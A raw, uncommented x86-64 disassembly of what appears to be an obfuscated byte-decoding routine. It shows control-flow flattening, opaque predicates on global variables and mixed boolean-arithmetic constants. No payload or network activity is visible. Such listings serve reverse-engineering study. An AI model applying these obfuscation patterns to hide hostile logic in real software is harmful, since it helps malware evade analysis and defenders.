mov byte [r11 + 3], al
mov rax, qword [rbp + 0x58]
movzx eax, byte [rax + 5]
movabs rcx, 0x5bdb64d044ce5e1
add rax, rcx
mov qword [rbp + 0x50], rax
movabs rax, 0x6e88d0e66e5420d7
add rax, 5
mov qword [rbp + 0x78], rax
mov eax, dword [0x1400610d8]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete cl
mov esi, 0x6e3793ad
mov eax, 0xf46c509b
cmove esi, eax
cmp dword [0x1400610dc], 0xa
cmovl esi, eax
setge bl
xor cl, bl
mov eax, ecx
xor al, 1
and dl, bl
or dl, al
xor dl, cl
mov r14d, 0x6e3793ad
mov eax, 0x98f8596f
cmovne r14d, eax
mov edx, 0x88a95f0c
nop word [rax + rax]
cmp edx, 0xd7ca0e98
jle 0x14002cef0
cmp edx, 0xd7ca0e99
je 0x14002cf0b
cmp edx, 0xf46c509b
je 0x14002d245
cmp edx, 0x6e3793ad
jne 0x14002ceb0
mov rax, qword [rbp + 0x80]
mov edx, 0x98f8596f
jmp 0x14002ceb0
cmp edx, 0x88a95f0c
je 0x14002cf10
cmp edx, 0x98f8596f
jne 0x14002ceb0
mov r11, qword [rbp + 0x80]
mov edx, esi
jmp 0x14002ceb0
mov edx, r14d
jmp 0x14002ceb0
mov rax, qword [rbp + 0x50]
mov rcx, qword [rbp + 0x78]
mov rdx, rax
movabs rbx, 0x8e18b4232d0bcb7b
xor rdx, rbx
mov rdi, rcx
and rdi, rbx
movabs rbx, 0x4142489c00900084
or rdi, rbx
movabs r15, 0x71e74bdcd2f43484
and rcx, r15
xor rcx, rdi
mov rdi, rcx
movabs rbx, 0xcf5afcbf2d9bcbff
xor rdi, rbx
xor rax, r15
and rax, rdi
movabs rdi, 0x30a50340d2643400
xor rcx, rdi
and rcx, rdx
or rcx, rax
mov qword [rbp + 0x80], rcx
mov edx, 0xd7ca0e99
jmp 0x14002ceb0
mov byte [rbp + 0x10], r11b
mov al, byte [rbp + 0x10]
mov byte [r10 + 2], al
mov rax, qword [rbp + 0x58]
movzx eax, byte [rax + 8]
movabs rcx, 0x5bdb64d044ce5e1
add rax, rcx
mov qword [rbp + 0x50], rax
movabs rax, 0x6e88d0e66e5420d7
add rax, 8
mov qword [rbp + 0x78], rax
mov eax, dword [0x1400610d8]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete cl
mov esi, 0x6e3793ad
mov eax, 0xf46c509b
cmove esi, eax
cmp dword [0x1400610dc], 0xa
cmovl esi, eax
setge bl
xor cl, bl
mov eax, ecx
xor al, 1
and dl, bl
or dl, al
xor dl, cl
mov r14d, 0x6e3793ad
mov eax, 0x98f8596f
cmovne r14d, eax
mov edx, 0x88a95f0c
nop word [rax + rax]
cmp edx, 0xd7ca0e98
jle 0x14002d050
cmp edx, 0xd7ca0e99
je 0x14002d06b
cmp edx, 0xf46c509b
je 0x14002d256
cmp edx, 0x6e3793ad
jne 0x14002d010
mov rax, qword [rbp + 0x80]
mov edx, 0x98f8596f
jmp 0x14002d010
cmp edx, 0x88a95f0c
je 0x14002d070
cmp edx, 0x98f8596f
jne 0x14002d010
mov r11, qword [rbp + 0x80]
mov edx, esi
jmp 0x14002d010
mov edx, r14d
jmp 0x14002d010
mov rax, qword [rbp + 0x50]
mov rcx, qword [rbp + 0x78]
mov rdx, rax
movabs rbx, 0x8e18b4232d0bcb7b
xor rdx, rbx
mov rdi, rcx
and rdi, rbx
movabs rbx, 0x4142489c00900084
or rdi, rbx
movabs r15, 0x71e74bdcd2f43484
and rcx, r15
xor rcx, rdi
mov rdi, rcx
movabs rbx, 0xcf5afcbf2d9bcbff
xor rdi, rbx
xor rax, r15
and rax, rdi
movabs rdi, 0x30a50340d2643400
xor rcx, rdi
and rcx, rdx
or rcx, rax
mov qword [rbp + 0x80], rcx
mov edx, 0xd7ca0e99
jmp 0x14002d010
mov byte [rbp + 0x10], r14b
mov al, byte [rbp + 0x10]
mov byte [r11 + 3], al
add r11, 4
mov qword [rbp + 0x68], r11
mov rax, qword [rbp + 0x58]
movzx eax, byte [rax + 5]
movabs rcx, 0x5bdb64d044ce5e1
add rax, rcx
mov qword [rbp + 0x50], rax
movabs rax, 0x6e88d0e66e5420d7
add rax, 5
mov qword [rbp + 0x78], rax
mov eax, dword [0x1400610d8]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete cl
mov esi, 0x6e3793ad
mov eax, 0xf46c509b
cmove esi, eax
cmp dword [0x1400610dc], 0xa
cmovl esi, eax
setge bl
xor cl, bl
mov eax, ecx
xor al, 1
and dl, bl
or dl, al
xor dl, cl
mov r14d, 0x6e3793ad
mov eax, 0x98f8596f
cmovne r14d, eax
mov edx, 0x88a95f0c
nop
cmp edx, 0xd7ca0e98
jle 0x14002d1b0
cmp edx, 0xd7ca0e99
je 0x14002d1cb
cmp edx, 0xf46c509b
je 0x14002c180
cmp edx, 0x6e3793ad
jne 0x14002d170
mov rax, qword [rbp + 0x80]
mov edx, 0x98f8596f
jmp 0x14002d170
cmp edx, 0x88a95f0c
je 0x14002d1d0
cmp edx, 0x98f8596f
jne 0x14002d170
mov r11, qword [rbp + 0x80]
mov edx, esi
jmp 0x14002d170
mov edx, r14d
jmp 0x14002d170
mov rax, qword [rbp + 0x50]
mov rcx, qword [rbp + 0x78]
mov rdx, rax
movabs rbx, 0x8e18b4232d0bcb7b
xor rdx, rbx
mov rdi, rcx
and rdi, rbx
movabs rbx, 0x4142489c00900084
or rdi, rbx
movabs r15, 0x71e74bdcd2f43484
and rcx, r15
xor rcx, rdi
mov rdi, rcx
movabs rbx, 0xcf5afcbf2d9bcbff
xor rdi, rbx
xor rax, r15
and rax, rdi
movabs rdi, 0x30a50340d2643400
xor rcx, rdi
and rcx, rdx
or rcx, rax
mov qword [rbp + 0x80], rcx
mov edx, 0xd7ca0e99
jmp 0x14002d170
mov byte [rbp + 0x10], r11b
mov al, byte [rbp + 0x10]
mov ecx, 0x6efb8690
jmp 0x14002c1b0
mov byte [rbp + 0x10], r11b
mov al, byte [rbp + 0x10]
mov byte [r10 + 3], al
mov rax, qword [rbp + 0x58]
movzx eax, byte [rax + 9]
movabs rcx, 0x5bdb64d044ce5e1
add rax, rcx
mov qword [rbp + 0x50], rax
movabs rax, 0x6e88d0e66e5420d7
add rax, 9
mov qword [rbp + 0x78], rax
mov eax, dword [0x1400610d8]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete bl
mov r14d, 0x6e3793ad
mov eax, 0xf46c509b
cmove r14d, eax
cmp dword [0x1400610dc], 0xa
cmovl r14d, eax
setge dl
xor bl, dl
mov eax, ebx
xor al, 1
and cl, dl
or cl, al
xor cl, bl
mov r11d, 0x6e3793ad
mov eax, 0x98f8596f
cmovne r11d, eax
mov edx, 0x88a95f0c
nop dword [rax + rax]
cmp edx, 0xd7ca0e98
jle 0x14002d320
cmp edx, 0xd7ca0e99
je 0x14002d33c
cmp edx, 0xf46c509b
je 0x14002d3b6
cmp edx, 0x6e3793ad
jne 0x14002d2e0
mov rax, qword [rbp + 0x80]
mov edx, 0x98f8596f
jmp 0x14002d2e0
cmp edx, 0x88a95f0c
je 0x14002d341
cmp edx, 0x98f8596f
jne 0x14002d2e0
mov r15, qword [rbp + 0x80]
mov edx, r14d
jmp 0x14002d2e0
mov edx, r11d
jmp 0x14002d2e0
mov rax, qword [rbp + 0x50]
mov rdx, qword [rbp + 0x78]
mov rbx, rax
movabs rsi, 0x8e18b4232d0bcb7b
xor rbx, rsi
mov rdi, rdx
and rdi, rsi
movabs rcx, 0x4142489c00900084
or rdi, rcx
movabs rcx, 0x71e74bdcd2f43484
and rdx, rcx
xor rdx, rdi
mov rdi, rdx
movabs rsi, 0xcf5afcbf2d9bcbff
xor rdi, rsi
xor rax, rcx
and rax, rdi
movabs rcx, 0x30a50340d2643400
xor rdx, rcx
and rdx, rbx
or rdx, rax
mov qword [rbp + 0x80], rdx
mov edx, 0xd7ca0e99
jmp 0x14002d2e0
mov byte [rbp + 0x10], r15b
mov al, byte [rbp + 0x10]
mov byte [r10 + 4], al
mov rax, qword [rbp + 0x58]
movzx eax, byte [rax + 0xa]
movabs rcx, 0x5bdb64d044ce5e1
add rax, rcx
mov qword [rbp + 0x50], rax
movabs rax, 0x6e88d0e66e5420d7
add rax, 0xa
mov qword [rbp + 0x78], rax
mov edx, 0x88a95f0c
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0xd7ca0e98
jle 0x14002d440
cmp edx, 0xd7ca0e99
je 0x14002d45c
cmp edx, 0xf46c509b
je 0x14002d4d6
cmp edx, 0x6e3793ad
jne 0x14002d400
mov rax, qword [rbp + 0x80]
mov edx, 0x98f8596f
jmp 0x14002d400
cmp edx, 0x88a95f0c
je 0x14002d461
cmp edx, 0x98f8596f
jne 0x14002d400
mov r15, qword [rbp + 0x80]
mov edx, r14d
jmp 0x14002d400
mov edx, r11d
jmp 0x14002d400
mov rax, qword [rbp + 0x50]
mov rdx, qword [rbp + 0x78]
mov rdi, rax
movabs rsi, 0x8e18b4232d0bcb7b
xor rdi, rsi
mov rbx, rdx
and rbx, rsi
movabs rcx, 0x4142489c00900084
or rbx, rcx
movabs rcx, 0x71e74bdcd2f43484
and rdx, rcx
xor rdx, rbx
mov rbx, rdx
movabs rsi, 0xcf5afcbf2d9bcbff
xor rbx, rsi
xor rax, rcx
and rax, rbx
movabs rcx, 0x30a50340d2643400
xor rdx, rcx
and rdx, rdi
or rdx, rax
mov qword [rbp + 0x80], rdx
mov edx, 0xd7ca0e99
jmp 0x14002d400
mov byte [rbp + 0x10], r15b
mov al, byte [rbp + 0x10]
mov byte [r10 + 5], al
mov rax, qword [rbp + 0x58]
movzx eax, byte [rax + 0xb]
movabs rcx, 0x5bdb64d044ce5e1
add rax, rcx
mov qword [rbp + 0x50], rax
movabs rax, 0x6e88d0e66e5420d7
add rax, 0xb
mov qword [rbp + 0x78], rax
mov edx, 0x88a95f0c
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0xd7ca0e98
jle 0x14002d560
cmp edx, 0xd7ca0e99
je 0x14002d57c
cmp edx, 0xf46c509b
je 0x14002d5f6
cmp edx, 0x6e3793ad
jne 0x14002d520
mov rax, qword [rbp + 0x80]
mov edx, 0x98f8596f
jmp 0x14002d520
cmp edx, 0x88a95f0c
je 0x14002d581
cmp edx, 0x98f8596f
jne 0x14002d520
mov r15, qword [rbp + 0x80]
mov edx, r14d
jmp 0x14002d520
mov edx, r11d
jmp 0x14002d520
mov rax, qword [rbp + 0x50]
mov rdx, qword [rbp + 0x78]
mov rdi, rax
movabs rsi, 0x8e18b4232d0bcb7b
xor rdi, rsi
mov rbx, rdx
and rbx, rsi
movabs rcx, 0x4142489c00900084
or rbx, rcx
movabs rcx, 0x71e74bdcd2f43484
and rdx, rcx
xor rdx, rbx
mov rbx, rdx
movabs rsi, 0xcf5afcbf2d9bcbff
xor rbx, rsi
xor rax, rcx
and rax, rbx
movabs rcx, 0x30a50340d2643400
xor rdx, rcx
and rdx, rdi
or rdx, rax
mov qword [rbp + 0x80], rdx
mov edx, 0xd7ca0e99
jmp 0x14002d520
mov byte [rbp + 0x10], r15b
mov al, byte [rbp + 0x10]
mov byte [r10 + 6], al
mov rax, qword [rbp + 0x58]
movzx eax, byte [rax + 0xc]
movabs rcx, 0x5bdb64d044ce5e1
add rax, rcx
mov qword [rbp + 0x50], rax
movabs rax, 0x6e88d0e66e5420d7
add rax, 0xc
mov qword [rbp + 0x78], rax
mov edx, 0x88a95f0c
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0xd7ca0e98
jle 0x14002d680
cmp edx, 0xd7ca0e99
je 0x14002d69c
cmp edx, 0xf46c509b
je 0x14002d716
cmp edx, 0x6e3793ad
jne 0x14002d640
mov rax, qword [rbp + 0x80]
mov edx, 0x98f8596f
jmp 0x14002d640
cmp edx, 0x88a95f0c
je 0x14002d6a1
cmp edx, 0x98f8596f
jne 0x14002d640
mov r15, qword [rbp + 0x80]
mov edx, r14d
jmp 0x14002d640
mov edx, r11d
jmp 0x14002d640
mov rax, qword [rbp + 0x50]
mov rdx, qword [rbp + 0x78]
mov rdi, rax
movabs rsi, 0x8e18b4232d0bcb7b
xor rdi, rsi
mov rbx, rdx
and rbx, rsi
movabs rcx, 0x4142489c00900084
or rbx, rcx
movabs rcx, 0x71e74bdcd2f43484
and rdx, rcx
xor rdx, rbx
mov rbx, rdx
movabs rsi, 0xcf5afcbf2d9bcbff
xor rbx, rsi
xor rax, rcx
and rax, rbx
movabs rcx, 0x30a50340d2643400
xor rdx, rcx
and rdx, rdi
or rdx, rax
mov qword [rbp + 0x80], rdx
mov edx, 0xd7ca0e99
jmp 0x14002d640
mov byte [rbp + 0x10], r15b
mov al, byte [rbp + 0x10]
mov byte [r10 + 7], al
mov rax, qword [rbp + 0x58]
movzx eax, byte [rax + 0xd]
movabs rcx, 0x5bdb64d044ce5e1
add rax, rcx
mov qword [rbp + 0x50], rax
movabs rax, 0x6e88d0e66e5420d7
add rax, 0xd
mov qword [rbp + 0x78], rax
mov edx, 0x88a95f0c
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0xd7ca0e98
jle 0x14002d7a0
cmp edx, 0xd7ca0e99
je 0x14002d7bc
cmp edx, 0xf46c509b
je 0x14002d836
cmp edx, 0x6e3793ad
jne 0x14002d760
mov rax, qword [rbp + 0x80]
mov edx, 0x98f8596f
jmp 0x14002d760
cmp edx, 0x88a95f0c
je 0x14002d7c1
cmp edx, 0x98f8596f
jne 0x14002d760
mov r15, qword [rbp + 0x80]
mov edx, r14d
jmp 0x14002d760
mov edx, r11d
jmp 0x14002d760
mov rax, qword [rbp + 0x50]
mov rdx, qword [rbp + 0x78]
mov rdi, rax
movabs rsi, 0x8e18b4232d0bcb7b
xor rdi, rsi
mov rbx, rdx
and rbx, rsi
movabs rcx, 0x4142489c00900084
or rbx, rcx
movabs rcx, 0x71e74bdcd2f43484
and rdx, rcx
xor rdx, rbx
mov rbx, rdx
movabs rsi, 0xcf5afcbf2d9bcbff
xor rbx, rsi
xor rax, rcx
and rax, rbx
movabs rcx, 0x30a50340d2643400
xor rdx, rcx
and rdx, rdi
or rdx, rax
mov qword [rbp + 0x80], rdx
mov edx, 0xd7ca0e99
jmp 0x14002d760
mov byte [rbp + 0x10], r15b
mov al, byte [rbp + 0x10]
mov byte [r10 + 8], al
mov rax, qword [rbp + 0x58]
movzx eax, byte [rax + 0xe]
movabs rcx, 0x5bdb64d044ce5e1
add rax, rcx
mov qword [rbp + 0x50], rax
movabs rax, 0x6e88d0e66e5420d7
add rax, 0xe
mov qword [rbp + 0x78], rax
mov edx, 0x88a95f0c
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0xd7ca0e98
jle 0x14002d8c0
cmp edx, 0xd7ca0e99
je 0x14002d8dc
cmp edx, 0xf46c509b
je 0x14002d956
cmp edx, 0x6e3793ad
jne 0x14002d880
mov rax, qword [rbp + 0x80]
mov edx, 0x98f8596f
jmp 0x14002d880
cmp edx, 0x88a95f0c
je 0x14002d8e1
cmp edx, 0x98f8596f
jne 0x14002d880
mov r15, qword [rbp + 0x80]
mov edx, r14d
jmp 0x14002d880
mov edx, r11d
jmp 0x14002d880
mov rax, qword [rbp + 0x50]
mov rdx, qword [rbp + 0x78]
mov rdi, rax
movabs rsi, 0x8e18b4232d0bcb7b
xor rdi, rsi
mov rbx, rdx
and rbx, rsi
movabs rcx, 0x4142489c00900084
or rbx, rcx
movabs rcx, 0x71e74bdcd2f43484
and rdx, rcx
xor rdx, rbx
mov rbx, rdx
movabs rsi, 0xcf5afcbf2d9bcbff
xor rbx, rsi
xor rax, rcx
and rax, rbx
movabs rcx, 0x30a50340d2643400
xor rdx, rcx
and rdx, rdi
or rdx, rax
mov qword [rbp + 0x80], rdx
mov edx, 0xd7ca0e99
jmp 0x14002d880
mov byte [rbp + 0x10], r15b
mov al, byte [rbp + 0x10]
mov byte [r10 + 9], al
add r10, 0xa
mov rax, qword [rbp + 0x20]
add rax, 0x18
mov qword [rbp + 0x40], rax
mov ecx, 0x1e0abf82
jmp 0x14002c1b0
cmp ecx, 0x8d20189d
jne 0x14002c1b0
mov eax, 0xf57213ea
nop dword [rax]
cmp eax, 0xdc96a287
jle 0x14002d9f0
cmp eax, 0xdc96a288
je 0x14002e069
cmp eax, 0x635d1cb0
je 0x14002e6a4
cmp eax, 0xf57213ea
jne 0x14002d990
mov eax, dword [0x140061120]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd52b35ff
mov ecx, 0xdc96a288
cmovne eax, ecx
cmp dword [0x140061124], 0xa
mov ecx, 0xd52b35ff
cmovl eax, ecx
jmp 0x14002d990
cmp eax, 0xb9703d02
je 0x14002e7cc
cmp eax, 0xd52b35ff
jne 0x14002d990
lea rax, [rbp + 0x48]
mov qword [rbp + 0x68], rax
mov eax, 0xe356b8b
jmp 0x14002da3d
mov rax, qword [rbp + 0x68]
mov eax, dword [0x140061128]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4d5a2298
mov ecx, 0x200d8dcf
nop
cmove eax, ecx
cmp dword [0x14006112c], 0xa
cmovl eax, ecx
cmp eax, 0xd751ea43
jle 0x14002daa0
cmp eax, 0x200d8dce
jle 0x14002db10
cmp eax, 0x4936f194
jg 0x14002dba2
cmp eax, 0x3877e46a
jg 0x14002ddea
cmp eax, 0x200d8dcf
je 0x14002decf
cmp eax, 0x2201b407
jne 0x14002da3d
mov eax, dword [0x140061128]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x947eb02c
mov ecx, 0xb2f22ac1
jmp 0x14002da30
cmp eax, 0x9673c738
jg 0x14002db50
cmp eax, 0x90066ffc
jle 0x14002dbcd
cmp eax, 0x947eb02b
jg 0x14002de1e
cmp eax, 0x90066ffd
je 0x14002df0e
cmp eax, 0x92581a76
jne 0x14002da3d
mov rax, qword [rbp + 0x48]
mov qword [rbp + 0x38], rax
mov rax, qword [rbp + 0x48]
add rax, r8
mov qword [rbp + 0x50], rax
mov eax, dword [0x140061128]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x90066ffd
mov ecx, 0x4e312845
jmp 0x14002da30
cmp eax, 0x9fed345
jle 0x14002dc00
cmp eax, 0xf7eef01
jg 0x14002de52
cmp eax, 0x9fed346
je 0x14002df20
cmp eax, 0xe356b8b
jne 0x14002da3d
mov rax, qword [rbp + 0x68]
mov eax, 0x2201b407
jmp 0x14002da3d
cmp eax, 0xb6e6802e
jle 0x14002dda3
cmp eax, 0xc795721d
jg 0x14002de86
cmp eax, 0xb6e6802f
je 0x14002df2a
cmp eax, 0xc3aa39c2
jne 0x14002da3d
mov rax, qword [rbp + 0x48]
mov qword [rbp + 0x40], rax
mov eax, dword [0x140061128]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb6e6802f
mov ecx, 0xfa2790d7
jmp 0x14002da30
cmp eax, 0x4e312844
jle 0x14002deba
cmp eax, 0x4e312845
je 0x14002df38
cmp eax, 0x651d701c
jne 0x14002da3d
mov eax, 0x38fd6d49
jmp 0x14002da3d
cmp eax, 0x84ad6978
je 0x14002da11
cmp eax, 0x86285f42
je 0x14002df42
cmp eax, 0x8667555e
jne 0x14002da3d
add qword [rbp + 0x48], 1
mov eax, 0x38fd6d49
jmp 0x14002da3d
cmp eax, 0xd751ea44
je 0x14002df4c
cmp eax, 0xfa2790d7
je 0x14002df62
cmp eax, 0x76cd170
jne 0x14002da3d
mov rax, qword [rbp + 0x50]
movzx r10d, byte [rax]
mov r11, qword [rbp + 0x38]
movabs rax, 0x6e88d0e66e5420d7
add r11, rax
mov eax, dword [0x140061130]
mov ecx, dword [0x140061134]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
sete byte [rbp + 0x10]
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x20]
or cl, al
mov eax, 0x2ab0b29e
mov ecx, 0x5b16eb83
cmovne eax, ecx
mov edi, 0x2ab0b29e
mov ecx, 0x3bbaafb3
cmovne edi, ecx
mov esi, 0xf08a8ee8
mov ecx, 0x795191f6
cmovne esi, ecx
mov ebx, 0x2b701f4d
jmp 0x14002dca0
mov ebx, 0x3bbaafb3
nop word cs:[rax + rax]
nop
mov edx, ebx
cmp ebx, 0x3507be68
jle 0x14002dcd0
cmp edx, 0x5b1975e1
jg 0x14002dcf0
mov ebx, eax
cmp edx, 0x3bbaafb3
je 0x14002dca0
cmp edx, 0x5b16eb83
jne 0x14002dd57
mov ebx, 0x3507be69
jmp 0x14002dca0
cmp edx, 0x2ab0b29d
jg 0x14002dd10
cmp edx, 0xf08a8ee8
je 0x14002dd4d
mov ebx, edx
cmp edx, 0x2b8ed5e
jne 0x14002dca0
mov ebx, edi
jmp 0x14002dca0
mov ebx, esi
cmp edx, 0x5b1975e2
je 0x14002dca0
mov ebx, edx
cmp edx, 0x795191f6
jne 0x14002dca0
mov ebx, 0x2b8ed5e
jmp 0x14002dca0
cmp edx, 0x2ab0b29e
je 0x14002dc90
mov ebx, edx
cmp edx, 0x2b701f4d
jne 0x14002dca0
movzx edx, byte [rbp + 0x10]
cmp byte [rbp + 0x20], 0
mov ecx, 0x5b1975e2
mov ebx, 0x5b1975e2
jne 0x14002dd43
mov ebx, 0xf08a8ee8
test dl, dl
cmovne ebx, ecx
jmp 0x14002dca0
mov ebx, 0x5b1975e2
jmp 0x14002dca0
mov ebx, edx
cmp edx, 0x3507be69
jne 0x14002dca0
mov qword [rbp + 0x80], r11
mov qword [rbp + 0x78], r10
mov rax, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
add ecx, eax
mov rax, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
and edx, eax
not edx
lea eax, [rcx + rdx*2]
add al, 0x21
mov rcx, qword [rbp + 0x48]
mov byte [r8 + rcx], al
mov eax, 0x8667555e
jmp 0x14002da3d
cmp eax, 0x9673c739
je 0x14002df6c
cmp eax, 0x9dca9d12
je 0x14002df7a
cmp eax, 0xb2f22ac1
jne 0x14002da3d
mov qword [rbp + 0x48], 0
mov eax, dword [0x140061128]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x947eb02c
mov ecx, 0x651d701c
jmp 0x14002da30
cmp eax, 0x3877e46b
je 0x14002dfaa
cmp eax, 0x38fd6d49
jne 0x14002da3d
mov eax, dword [0x140061128]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb6e6802f
mov ecx, 0xc3aa39c2
jmp 0x14002da30
cmp eax, 0x947eb02c
je 0x14002dff1
cmp eax, 0x95d3daa1
jne 0x14002da3d
mov eax, dword [0x140061128]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc795721e
mov ecx, 0x3877e46b
jmp 0x14002da30
cmp eax, 0xf7eef02
je 0x14002e003
cmp eax, 0x16df8248
jne 0x14002da3d
mov eax, dword [0x140061128]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x86285f42
mov ecx, 0x9dca9d12
jmp 0x14002da30
cmp eax, 0xc795721e
je 0x14002e00d
cmp eax, 0xcb47d19f
jne 0x14002da3d
mov eax, dword [0x140061128]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x90066ffd
mov ecx, 0x92581a76
jmp 0x14002da30
cmp eax, 0x4d5a2298
jne 0x14002e01b
mov eax, 0x200d8dcf
jmp 0x14002da3d
mov eax, dword [0x140061128]
mov ecx, dword [0x14006112c]
lea edx, [rax - 1]
imul edx, eax
and dl, 1
cmp ecx, 0xa
setl al
xor al, dl
mov eax, 0x16df8248
mov ebx, 0x86285f42
cmovne eax, ebx
test dl, dl
mov edx, 0x16df8248
cmove eax, edx
cmp ecx, 0xa
cmovl eax, edx
jmp 0x14002da3d
mov rax, qword [rbp + 0x48]
mov rax, qword [rbp + 0x48]
mov eax, 0x92581a76
jmp 0x14002da3d
mov eax, 0x9673c739
jmp 0x14002da3d
mov rax, qword [rbp + 0x48]
mov eax, 0xc3aa39c2
jmp 0x14002da3d
mov eax, 0x76cd170
jmp 0x14002da3d
mov eax, 0x16df8248
jmp 0x14002da3d
cmp byte [rbp + 0x77], 0
mov eax, 0x84ad6978
mov ecx, 0xcb47d19f
cmovne eax, ecx
jmp 0x14002da3d
mov eax, 0x95d3daa1
jmp 0x14002da3d
mov qword [rbp + 0x28], r8
mov eax, 0x4936f195
jmp 0x14002da3d
mov eax, dword [0x140061128]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9fed346
mov ecx, 0x4d5a2298
cmovne eax, ecx
cmp dword [0x14006112c], 0xa
mov ecx, 0x9fed346
cmovl eax, ecx
jmp 0x14002da3d
mov rax, qword [rbp + 0x40]
cmp rax, 0x18
setb byte [rbp + 0x77]
mov eax, dword [0x140061128]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
cmp dword [0x14006112c], 0xa
setge dl
xor al, dl
mov ebx, eax
xor bl, 1
and cl, dl
or cl, bl
xor cl, al
mov eax, 0xc795721e
mov ecx, 0xf7eef02
cmovne eax, ecx
jmp 0x14002da3d
mov qword [rbp + 0x48], 0
mov eax, 0xb2f22ac1
jmp 0x14002da3d
mov eax, 0xd751ea44
jmp 0x14002da3d
mov rax, qword [rbp + 0x40]
mov eax, 0x3877e46b
jmp 0x14002da3d
cmp eax, 0x4936f195
jne 0x14002da3d
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0x58], rax
mov eax, dword [0x140061120]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
cmp dword [0x140061124], 0xa
setge dl
xor al, dl
mov ebx, eax
xor bl, 1
and cl, dl
or cl, bl
xor cl, al
mov eax, 0xdc96a288
mov ecx, 0x635d1cb0
cmovne eax, ecx
jmp 0x14002d990
lea rax, [rbp + 0x48]
mov qword [rbp + 0x68], rax
mov eax, 0xe356b8b
jmp 0x14002e0ad
mov rax, qword [rbp + 0x68]
mov eax, dword [0x140061128]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4d5a2298
mov ecx, 0x200d8dcf
nop word cs:[rax + rax]
nop
cmove eax, ecx
cmp dword [0x14006112c], 0xa
cmovl eax, ecx
cmp eax, 0xd751ea43
jle 0x14002e110
cmp eax, 0x200d8dce
jle 0x14002e180
cmp eax, 0x4936f194
jg 0x14002e212
cmp eax, 0x3877e46a
jg 0x14002e45a
cmp eax, 0x200d8dcf
je 0x14002e53f
cmp eax, 0x2201b407
jne 0x14002e0ad
mov eax, dword [0x140061128]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x947eb02c
mov ecx, 0xb2f22ac1
jmp 0x14002e0a0
cmp eax, 0x9673c738
jg 0x14002e1c0
cmp eax, 0x90066ffc
jle 0x14002e23d
cmp eax, 0x947eb02b
jg 0x14002e48e
cmp eax, 0x90066ffd
je 0x14002e57e
cmp eax, 0x92581a76
jne 0x14002e0ad
mov rax, qword [rbp + 0x48]
mov qword [rbp + 0x38], rax
mov rax, qword [rbp + 0x48]
add rax, r8
mov qword [rbp + 0x50], rax
mov eax, dword [0x140061128]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x90066ffd
mov ecx, 0x4e312845
jmp 0x14002e0a0
cmp eax, 0x9fed345
jle 0x14002e270
cmp eax, 0xf7eef01
jg 0x14002e4c2
cmp eax, 0x9fed346
je 0x14002e590
cmp eax, 0xe356b8b
jne 0x14002e0ad
mov rax, qword [rbp + 0x68]
mov eax, 0x2201b407
jmp 0x14002e0ad
cmp eax, 0xb6e6802e
jle 0x14002e413
cmp eax, 0xc795721d
jg 0x14002e4f6
cmp eax, 0xb6e6802f
je 0x14002e59a
cmp eax, 0xc3aa39c2
jne 0x14002e0ad
mov rax, qword [rbp + 0x48]
mov qword [rbp + 0x40], rax
mov eax, dword [0x140061128]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb6e6802f
mov ecx, 0xfa2790d7
jmp 0x14002e0a0
cmp eax, 0x4e312844
jle 0x14002e52a
cmp eax, 0x4e312845
je 0x14002e5a8
cmp eax, 0x651d701c
jne 0x14002e0ad
mov eax, 0x38fd6d49
jmp 0x14002e0ad
cmp eax, 0x84ad6978
je 0x14002e078
cmp eax, 0x86285f42
je 0x14002e5b2
cmp eax, 0x8667555e
jne 0x14002e0ad
add qword [rbp + 0x48], 1
mov eax, 0x38fd6d49
jmp 0x14002e0ad
cmp eax, 0xd751ea44
je 0x14002e5bc
cmp eax, 0xfa2790d7
je 0x14002e5d2
cmp eax, 0x76cd170
jne 0x14002e0ad
mov rax, qword [rbp + 0x50]
movzx r10d, byte [rax]
mov r11, qword [rbp + 0x38]
movabs rax, 0x6e88d0e66e5420d7
add r11, rax
mov eax, dword [0x140061130]
mov ecx, dword [0x140061134]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
sete byte [rbp + 0x10]
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x20]
or cl, al
mov eax, 0x2ab0b29e
mov ecx, 0x5b16eb83
cmovne eax, ecx
mov edi, 0x2ab0b29e
mov ecx, 0x3bbaafb3
cmovne edi, ecx
mov esi, 0xf08a8ee8
mov ecx, 0x795191f6
cmovne esi, ecx
mov ebx, 0x2b701f4d
jmp 0x14002e310
mov ebx, 0x3bbaafb3
nop word cs:[rax + rax]
nop
mov edx, ebx
cmp ebx, 0x3507be68
jle 0x14002e340
cmp edx, 0x5b1975e1
jg 0x14002e360
mov ebx, eax
cmp edx, 0x3bbaafb3
je 0x14002e310
cmp edx, 0x5b16eb83
jne 0x14002e3c7
